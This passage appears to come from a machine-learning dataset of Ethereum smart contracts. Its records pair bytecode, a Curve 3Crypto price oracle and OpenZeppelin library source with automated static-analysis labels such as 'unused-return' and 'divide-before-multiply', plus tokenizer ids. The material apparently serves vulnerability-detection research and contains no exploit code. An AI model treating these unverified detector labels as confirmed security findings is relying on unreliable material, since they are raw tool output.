79182905560408051630bc3f29d60e01b815290519290911691630bc3f29d91600480820192602092909190829003018186803b1580156114a557600080fd5b505afa1580156114b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114dd91906122f1565b609780546001600160a01b0319166001600160a01b039283161790556099546040805163dc9c563f60e01b81529051919092169163dc9c563f916004808301926020929190829003018186803b15801561153657600080fd5b505afa15801561154a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061156e91906122f1565b609880546001600160a01b0319166001600160a01b03928316179055609954604080516339f9615f60e01b8152905191909216916339f9615f916004808301926020929190829003018186803b1580156115c757600080fd5b505afa1580156115db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115ff91906122f1565b609a80546001600160a01b0319166001600160a01b039283161790556099546040805163db43ccb560e01b81529051919092169163db43ccb5916004808301926020929190829003018186803b15801561165857600080fd5b505afa15801561166c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061169091906122f1565b609b80546001600160a01b0319166001600160a01b039290921691909117905580156116c2576000805461ff00191690555b5050565b6116ce611866565b6001600160a01b03166116df61080f565b6001600160a01b03161461173a576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b03811661177f5760405162461bcd60e51b8152600401808060200182810382526026815260200180612be36026913960400191505060405180910390fd5b6033546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3603380546001600160a01b0319166001600160a01b0392909216919091179055565b60975460405163fd7057f760e01b81526060916001600160a01b03169063fd7057f79061180c90859060040161278d565b60006040518083038186803b15801561182457600080fd5b505afa158015611838573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261186091908101906123f2565b92915050565b3390565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526118c4908590611a22565b50505050565b60006118d530611ad8565b15905090565b600054610100900460ff16806118f457506118f46118ca565b80611902575060005460ff16155b61193d5760405162461bcd60e51b815260040180806020018281038252602e815260200180612c2f602e913960400191505060405180910390fd5b600054610100900460ff16158015611968576000805460ff1961ff0019909116610100171660011790555b611970611ade565b611978611b7e565b801561198a576000805461ff00191690555b50565b600054610100900460ff16806119a657506119a66118ca565b806119b4575060005460ff16155b6119ef5760405162461bcd60e51b815260040180806020018281038252602e815260200180612c2f602e913960400191505060405180910390fd5b600054610100900460ff16158015611a1a576000805460ff1961ff0019909116610100171660011790555b611978611c77565b6060611a77826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316611d1d9092919063ffffffff16565b805190915015611ad357808060200190516020811015611a9657600080fd5b5051611ad35760405162461bcd60e51b815260040180806020018281038252602a815260200180612c5d602a913960400191505060405180910390fd5b505050565b3b151590565b600054610100900460ff1680611af75750611af76118ca565b80611b05575060005460ff16155b611b405760405162461bcd60e51b815260040180806020018281038252602e815260200180612c2f602e913960400191505060405180910390fd5b600054610100900460ff16158015611978576000805460ff1961ff001990911661010017166001179055801561198a576000805461ff001916905550565b600054610100900460ff1680611b975750611b976118ca565b80611ba5575060005460ff16155b611be05760405162461bcd60e51b815260040180806020018281038252602e815260200180612c2f602e913960400191505060405180910390fd5b600054610100900460ff16158015611c0b576000805460ff1961ff0019909116610100171660011790555b6000611c15611866565b603380546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350801561198a576000805461ff001916905550565b600054610100900460ff1680611c905750611c906118ca565b80611c9e575060005460ff16155b611cd95760405162461bcd60e51b815260040180806020018281038252602e815260200180612c2f602e913960400191505060405180910390fd5b600054610100900460ff16158015611d04576000805460ff1961ff0019909116610100171660011790555b6001606555801561198a576000805461ff001916905550565b6060611d2c8484600085611d34565b949350505050565b606082471015611d755760405162461bcd60e51b8152600401808060200182810382526026815260200180612c096026913960400191505060405180910390fd5b611d7e85611ad8565b611dcf576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b60208310611e0e5780518252601f199092019160209182019101611def565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611e70576040519150601f19603f3d011682016040523d82523d6000602084013e611e75565b606091505b5091509150611e85828286611e90565b979650505050505050565b60608315611e9f575081610808565b825115611eaf5782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611ef9578181015183820152602001611ee1565b50505050905090810190601f168015611f265780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b6040805161010081018252606081526000602082018190529091820190815260200160008152602001600081526020016000815260200160001515815260200160006001600160a01b031681525090565b6040805161014081018252600080825260208201819052918101829052606081018290526080810182905260a0810182905260c0810182905260e08101829052610100810182905261012081019190915290565b6040518060800160405280600081526020016060815260200160608152602001606081525090565b6040518060e00160405280600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b805161038481612bbf565b600082601f830112612059578081fd5b815161206c61206782612b75565b612b51565b81815291506020808301908481018184028601820187101561208d57600080fd5b60005b848110156120b55781516120a381612bbf565b84529282019290820190600101612090565b505050505092915050565b600082601f8301126120d0578081fd5b81516120de61206782612b75565b8181529150602080830190848101818402860182018710156120ff57600080fd5b6000805b8581101561212b57825160078110612119578283fd5b85529383019391830191600101612103565b50505050505092915050565b600082601f830112612147578081fd5b815161215561206782612b75565b818152915060208083019084810160005b848110156120b5578151870161016080601f19838c0301121561218857600080fd5b61219181612b51565b8583015167ffffffffffffffff8111156121aa57600080fd5b6121b88c888387010161226f565b82525060406121c881850161203e565b8783015260606121d9818601612260565b828401526080915081850151818401525060a0808501518284015260c0915081850151818401525060e0808501518284015261010091508185015181840152506101208085015182840152610140915081850151818401525061223d838501612255565b90820152865250509282019290820190600101612166565b805161038481612bd4565b80516005811061038457600080fd5b600082601f83011261227f578081fd5b815167ffffffffffffffff81111561229357fe5b6122a6601f8201601f1916602001612b51565b91508082528360208285010111156122bd57600080fd5b6122ce816020840160208601612b93565b5092915050565b6000602082840312156122e6578081fd5b813561080881612bbf565b600060208284031215612302578081fd5b815161080881612bbf565b6000806040838503121561231f578081fd5b823561232a81612bbf565b9150602083013561233a81612bd4565b809150509250929050565b6000806000806080858703121561235a578182fd5b843561236581612bbf565b935060208501359250604085013561237c81612bd4565b9396929550929360600135925050565b60008060008060008060c087890312156123a4578384fd5b86356123af81612bbf565b9550602087013594506040870135935060608701356123cd81612bbf565b925060808701356123dd81612bbf565b8092505060a087013590509295509295509295565b600060208284031215612403578081fd5b815167ffffffffffffffff811115612419578182fd5b611d2c84828501612049565b60008060408385031215612437578182fd5b825167ffffffffffffffff8082111561244e578384fd5b61245a86838701612049565b9350602085015191508082111561246f578283fd5b5061247c85828601612137565b9150509250929050565b600060208284031215612497578081fd5b815167ffffffffffffffff8111156124ad578182fd5b611d2c84828501612137565b6000602082840312156124ca578081fd5b815161080881612bd4565b6000602082840312156124e6578081fd5b81356001600160e01b031981168114610808578182fd5b60006020828403121561250e578081fd5b5035919050565b600060208284031215612526578081fd5b5051919050565b60008060008060808587031215612542578182fd5b8451935060208086015167ffffffffffffffff80821115612561578485fd5b61256d89838a01612049565b9550604091508188015181811115612583578586fd5b8801601f81018a13612593578586fd5b80516125a161206782612b75565b8181528581019083870160808402850188018e10156125be57898afd5b8994505b83851015612622576080818f0312156125d957898afd5b86516080810181811088821117156125ed57fe5b8852815181528882015189820152818801518189015260608083015190820152835260019490940193918701916080016125c2565b5060608c015190985095505050508083111561263c578384fd5b505061264a878288016120c0565b91505092959194509250565b600080600080600080600060c0888a031215612670578485fd5b8735965060208801359550604088013561268981612bbf565b9450606088013561269981612bbf565b935060808801356126a981612bbf565b925060a088013567ffffffffffffffff808211156126c5578283fd5b818a0191508a601f8301126126d8578283fd5b8135818111156126e6578384fd5b8b60208285010111156126f7578384fd5b60208301945080935050505092959891949750929550565b600080600060608486031215612723578081fd5b8351925060208401519150604084015190509250925092565b6000806040838503121561274e578182fd5b823560ff8116811461275e578283fd5b946020939093013593505050565b6001600160a01b03169052565b15159052565b6005811061278957fe5b9052565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b0394909416845291151560208401526040830152606082015260800190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b03948516815260208101939093526040830191909152909116606082015260800190565b6020808252825182820181905260009190848201906040850190845b818110156128665783516001600160a01b031683529284019291840191600101612841565b50909695505050505050565b60208082528251828201819052600091906040908185019080840286018301878501865b8381101561062b57603f19898403018552815161010081518186528051808388015261012092506128cc818489018d8501612b93565b8a84015191506128de8b88018361276c565b8984015191506128f08a88018361277f565b606084810151908801526080808501519088015260a0808501519088015260c08085015190925061292383890182612779565b5060e0938401519391506129398783018561276c565b978a0197601f01601f1916959095010193505090860190600101612896565b901515815260200190565b90815260200190565b60208082526026908201527f4272696467654469737472696275746f723a204e6565642066756e64732061706040820152651c1c9bdd985b60d21b606082015260800190565b60208082526023908201527f4272696467654469737472696275746f723a204e6f74206120706f6c696379426040820152626f6f6b60e81b606082015260800190565b60208082526022908201527f4272696467654469737472696275746f723a20496e76616c696420636f766572604082015261125960f21b606082015260800190565b600060e082019050825182526020830151602083015260408301516040830152606083015160608301526080830151608083015260a083015160a083015260c083015160c083015292915050565b600061014082019050825182526020830151602083015260408301516040830152606083015160608301526080830151608083015260a0830151612acc60a084018261276c565b5060c0830151612adf60c084018261276c565b5060e083015160e083015261010080840151818401525061012080840151612b098285018261276c565b505092915050565b918252602082015260400190565b92835260208301919091526001600160a01b0316604082015260600190565b60ff929092168252602082015260400190565b60405181810167ffffffffffffffff81118282101715612b6d57fe5b604052919050565b600067ffffffffffffffff821115612b8957fe5b5060209081020190565b60005b83811015612bae578181015183820152602001612b96565b838111156118c45750506000910152565b6001600160a01b038116811461198a57600080fd5b801515811461198a57600080fdfe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c496e697469616c697a61626c653a20636f6e747261637420697320616c726561647920696e697469616c697a65645361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a26469706673582212208f5e37e56992c4c6955fd4e0f1fe00bb9df47239aa3fbb6ae000476b77063d5564736f6c63430007040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 16703, 16086, 29097, 2692, 2063, 24096, 9818, 2509, 2278, 2546, 2692, 2475, 2050, 2620, 2549, 2497, 2629, 2497, 2509, 9818, 19317, 2683, 2620, 23352, 2581, 16068, 2050, 23777, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1021, 1012, 1018, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 3229, 1013, 2219, 3085, 6279, 24170, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 24540, 1013, 3988, 21335, 3468, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,701
0x9732D3Ee0f185D7c2D610E30DC5de28EF68Ad7c9
// SPDX-License-Identifier: MIT pragma solidity 0.8.7; import "../interfaces/IOracle.sol"; // Chainlink Aggregator interface ILPOracle { function lp_price() external view returns (uint256 price); } contract ThreeCryptoOracle is IOracle { ILPOracle constant public LP_ORACLE = ILPOracle(0xE8b2989276E2Ca8FDEA2268E3551b2b4B2418950); // Calculates the lastest exchange rate // Uses both divide and multiply only for tokens not supported directly by Chainlink, for example MKR/USD function _get() internal view returns (uint256) { return 1e36 / LP_ORACLE.lp_price(); } // Get the latest exchange rate /// @inheritdoc IOracle function get(bytes calldata) public view override returns (bool, uint256) { return (true, _get()); } // Check the last exchange rate without any state changes /// @inheritdoc IOracle function peek(bytes calldata) public view override returns (bool, uint256) { return (true, _get()); } // Check the current spot exchange rate without any state changes /// @inheritdoc IOracle function peekSpot(bytes calldata data) external view override returns (uint256 rate) { (, rate) = peek(data); } /// @inheritdoc IOracle function name(bytes calldata) public pure override returns (string memory) { return "3Crv"; } /// @inheritdoc IOracle function symbol(bytes calldata) public pure override returns (string memory) { return "3crv"; } } // SPDX-License-Identifier: MIT pragma solidity >= 0.6.12; interface IOracle { /// @notice Get the latest exchange rate. /// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle. /// For example: /// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256)); /// @return success if no valid (recent) rate is available, return false else true. /// @return rate The rate of the requested asset / pair / pool. function get(bytes calldata data) external returns (bool success, uint256 rate); /// @notice Check the last exchange rate without any state changes. /// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle. /// For example: /// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256)); /// @return success if no valid (recent) rate is available, return false else true. /// @return rate The rate of the requested asset / pair / pool. function peek(bytes calldata data) external view returns (bool success, uint256 rate); /// @notice Check the current spot exchange rate without any state changes. For oracles like TWAP this will be different from peek(). /// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle. /// For example: /// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256)); /// @return rate The rate of the requested asset / pair / pool. function peekSpot(bytes calldata data) external view returns (uint256 rate); /// @notice Returns a human readable (short) name about this oracle. /// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle. /// For example: /// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256)); /// @return (string) A human readable symbol name about this oracle. function symbol(bytes calldata data) external view returns (string memory); /// @notice Returns a human readable name about this oracle. /// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle. /// For example: /// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256)); /// @return (string) A human readable name about this oracle. function name(bytes calldata data) external view returns (string memory); }
0x608060405234801561001057600080fd5b50600436106100625760003560e01c8063c699c4d614610067578063d39bbef014610097578063d568866c146100c7578063d6d7d525146100f7578063de6dbbb214610128578063eeb8a8d314610146575b600080fd5b610081600480360381019061007c9190610375565b610177565b60405161008e9190610499565b60405180910390f35b6100b160048036038101906100ac9190610375565b6101b7565b6040516100be91906104bb565b60405180910390f35b6100e160048036038101906100dc9190610375565b6101cf565b6040516100ee9190610499565b60405180910390f35b610111600480360381019061010c9190610375565b61020f565b60405161011f929190610455565b60405180910390f35b610130610227565b60405161013d919061047e565b60405180910390f35b610160600480360381019061015b9190610375565b61023f565b60405161016e929190610455565b60405180910390f35b60606040518060400160405280600481526020017f3363727600000000000000000000000000000000000000000000000000000000815250905092915050565b60006101c3838361023f565b90508091505092915050565b60606040518060400160405280600481526020017f3343727600000000000000000000000000000000000000000000000000000000815250905092915050565b600080600161021c610257565b915091509250929050565b73e8b2989276e2ca8fdea2268e3551b2b4b241895081565b600080600161024c610257565b915091509250929050565b600073e8b2989276e2ca8fdea2268e3551b2b4b241895073ffffffffffffffffffffffffffffffffffffffff166354f0f7d56040518163ffffffff1660e01b815260040160206040518083038186803b1580156102b357600080fd5b505afa1580156102c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102eb91906103c2565b6ec097ce7bc90715b34b9f100000000061030591906104f2565b905090565b60008083601f8401126103205761031f6105f6565b5b8235905067ffffffffffffffff81111561033d5761033c6105f1565b5b602083019150836001820283011115610359576103586105fb565b5b9250929050565b60008151905061036f8161061b565b92915050565b6000806020838503121561038c5761038b610605565b5b600083013567ffffffffffffffff8111156103aa576103a9610600565b5b6103b68582860161030a565b92509250509250929050565b6000602082840312156103d8576103d7610605565b5b60006103e684828501610360565b91505092915050565b6103f881610523565b82525050565b61040781610559565b82525050565b6000610418826104d6565b61042281856104e1565b935061043281856020860161058f565b61043b8161060a565b840191505092915050565b61044f8161054f565b82525050565b600060408201905061046a60008301856103ef565b6104776020830184610446565b9392505050565b600060208201905061049360008301846103fe565b92915050565b600060208201905081810360008301526104b3818461040d565b905092915050565b60006020820190506104d06000830184610446565b92915050565b600081519050919050565b600082825260208201905092915050565b60006104fd8261054f565b91506105088361054f565b925082610518576105176105c2565b5b828204905092915050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006105648261056b565b9050919050565b60006105768261057d565b9050919050565b60006105888261052f565b9050919050565b60005b838110156105ad578082015181840152602081019050610592565b838111156105bc576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b6106248161054f565b811461062f57600080fd5b5056fea2646970667358221220521177ae2d7034fe3765f091b920c41d37e09d0738c8cf9ec1e6e4934d47602364736f6c63430008070033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 16703, 2094, 2509, 4402, 2692, 2546, 15136, 2629, 2094, 2581, 2278, 2475, 2094, 2575, 10790, 2063, 14142, 16409, 2629, 3207, 22407, 12879, 2575, 2620, 4215, 2581, 2278, 2683, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1021, 1025, 12324, 1000, 1012, 1012, 1013, 19706, 1013, 22834, 22648, 2571, 1012, 14017, 1000, 1025, 1013, 1013, 4677, 13767, 24089, 8278, 6335, 17822, 18630, 1063, 3853, 6948, 1035, 3976, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 3976, 1007, 1025, 1065, 3206, 2093, 26775, 22571, 3406, 6525, 14321, 2003, 22834, 22648, 2571, 1063, 6335, 17822, 18630, 5377, 2270, 6948, 1035, 14721, 1027, 6335, 17822, 18630, 1006, 1014, 2595, 2063, 2620, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,702
0x97330c8be6f650edbab40b86ec8712348f0311d2
// File: @openzeppelin\upgrades\contracts\Initializable.sol pragma solidity >=0.4.24 <0.7.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // File: node_modules\@openzeppelin\contracts-ethereum-package\contracts\GSN\Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: node_modules\@openzeppelin\contracts-ethereum-package\contracts\introspection\IERC165.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: node_modules\@openzeppelin\contracts-ethereum-package\contracts\token\ERC721\IERC721.sol pragma solidity ^0.5.0; /** * @dev Required interface of an ERC721 compliant contract. */ contract IERC721 is Initializable, IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of NFTs in `owner`'s account. */ function balanceOf(address owner) public view returns (uint256 balance); /** * @dev Returns the owner of the NFT specified by `tokenId`. */ function ownerOf(uint256 tokenId) public view returns (address owner); /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * * * Requirements: * - `from`, `to` cannot be zero. * - `tokenId` must be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this * NFT by either {approve} or {setApprovalForAll}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public; /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * Requirements: * - If the caller is not `from`, it must be approved to move this NFT by * either {approve} or {setApprovalForAll}. */ function transferFrom(address from, address to, uint256 tokenId) public; function approve(address to, uint256 tokenId) public; function getApproved(uint256 tokenId) public view returns (address operator); function setApprovalForAll(address operator, bool _approved) public; function isApprovedForAll(address owner, address operator) public view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public; } // File: node_modules\@openzeppelin\contracts-ethereum-package\contracts\token\ERC721\IERC721Receiver.sol pragma solidity ^0.5.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ contract IERC721Receiver { /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a {IERC721-safeTransferFrom}. This function MUST return the function selector, * otherwise the caller will revert the transaction. The selector to be * returned can be obtained as `this.onERC721Received.selector`. This * function MAY throw to revert and reject the transfer. * Note: the ERC721 contract address is always the message sender. * @param operator The address which called `safeTransferFrom` function * @param from The address which previously owned the token * @param tokenId The NFT identifier which is being transferred * @param data Additional data with no specified format * @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` */ function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data) public returns (bytes4); } // File: node_modules\@openzeppelin\contracts-ethereum-package\contracts\math\SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: node_modules\@openzeppelin\contracts-ethereum-package\contracts\utils\Address.sol pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the 